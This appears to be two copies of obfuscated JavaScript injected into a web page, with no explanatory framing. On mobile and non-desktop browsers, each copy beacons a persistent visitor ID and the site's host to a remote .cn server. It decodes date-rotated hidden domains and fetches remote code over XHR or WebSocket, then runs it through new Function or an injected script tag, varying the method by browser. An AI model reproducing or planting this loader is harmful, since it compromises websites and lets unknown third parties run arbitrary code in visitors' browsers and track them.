function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};